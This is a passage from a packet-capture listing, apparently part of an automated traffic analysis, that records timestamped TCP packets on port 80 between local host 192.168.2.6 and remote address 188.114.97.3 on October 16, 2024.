                                                                                    Oct 16, 2024 10:58:12.072532892 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072559118 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.072573900 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.072580099 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072591066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072602034 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072613001 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072618008 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.072633028 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.072664976 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.072671890 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072684050 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072693110 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072702885 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072711945 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072712898 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.072742939 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072743893 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.072753906 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072777033 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.072779894 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072791100 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072805882 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.072828054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.073347092 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073391914 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073401928 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073435068 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.073455095 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073462009 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.073467016 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073477983 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073488951 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073508024 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.073537111 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.073560953 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073571920 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073580980 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073590994 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073601961 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073602915 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.073613882 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073621988 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.073652029 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.073672056 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073683023 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073692083 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073702097 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073713064 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.073714018 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.073743105 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.073770046 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.074327946 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074362040 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074378967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074388981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074405909 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.074435949 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.074481010 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074492931 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074501991 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074511051 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074520111 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.074553013 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.074553967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074565887 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074575901 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074584961 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074594975 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074603081 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.074620962 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.074635029 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.074657917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074668884 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074680090 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074692011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074702024 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.074707031 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.074738026 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.075406075 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075417042 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075428009 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075437069 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075448990 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075458050 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.075459003 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075467110 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.075470924 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075483084 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075486898 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.075495005 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075506926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075512886 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.075517893 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075529099 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075540066 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.075550079 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.075556040 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075567007 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075571060 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.075581074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075592995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075597048 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.075611115 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.075628996 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.075859070 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075870037 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075881004 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075902939 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.075907946 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.075921059 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.075948000 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.081168890 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081244946 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.081245899 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081255913 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081267118 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081290960 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.081295013 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081312895 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081322908 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081325054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.081335068 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081363916 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.081378937 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081381083 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.081391096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081402063 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081424952 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.081450939 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.081473112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081501961 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081511021 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081542969 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.081552029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081556082 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.081563950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081594944 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.081610918 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.081619024 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.081655979 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.127058983 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127218008 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127228022 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127243996 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127253056 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127274990 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127285004 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127295971 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127295017 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.127310038 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127321959 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127331018 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127331972 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.127341986 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127343893 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.127351999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127370119 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127381086 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127382040 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.127396107 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127408981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.127419949 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.127449989 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.127469063 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144206047 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144251108 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144260883 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144313097 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144315958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144329071 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144340992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144346952 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144372940 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144375086 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144386053 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144398928 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144402981 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144427061 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144443035 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144452095 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144454956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144467115 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144485950 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144500971 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144531965 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144601107 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144612074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144624949 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144678116 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144711971 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144722939 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144736052 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144747019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144771099 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144774914 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144782066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144795895 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144805908 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144819975 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144855022 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144855976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144870043 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144881010 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144903898 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144903898 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144931078 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144959927 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.144973040 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.144984961 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145039082 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145040989 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145051956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145062923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145071983 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145087957 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145093918 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145101070 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145112991 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145112991 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145124912 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145152092 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145158052 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145164967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145176888 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145188093 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145196915 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145206928 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145215988 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145222902 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145234108 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145242929 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145253897 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145265102 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145275116 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145283937 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145299911 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145313025 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145314932 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145325899 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145344973 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145350933 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145356894 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145368099 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145370960 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145380974 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145395994 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145405054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145409107 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145421028 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145435095 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145461082 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145487070 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145498991 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145509958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145520926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145526886 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145550013 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145550966 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145564079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145575047 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145576000 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145589113 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145601988 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145602942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145627975 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145642042 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145647049 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145658016 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145668983 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145679951 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145697117 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145709991 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145720959 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145721912 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145731926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145744085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.145749092 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.145776033 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184212923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184259892 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184262037 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184269905 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184282064 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184304953 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184356928 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184366941 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184393883 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184459925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184523106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184533119 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184561968 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184568882 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184581041 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184590101 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184598923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184603930 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184633017 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184679031 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184689999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184699059 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184709072 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184719086 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184721947 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184727907 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184739113 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184746981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184753895 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184756994 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184768915 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184777975 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184783936 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184787989 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184808969 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184809923 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184818983 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184827089 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184832096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184842110 CEST8049735188.114.97.3192.168.2.6
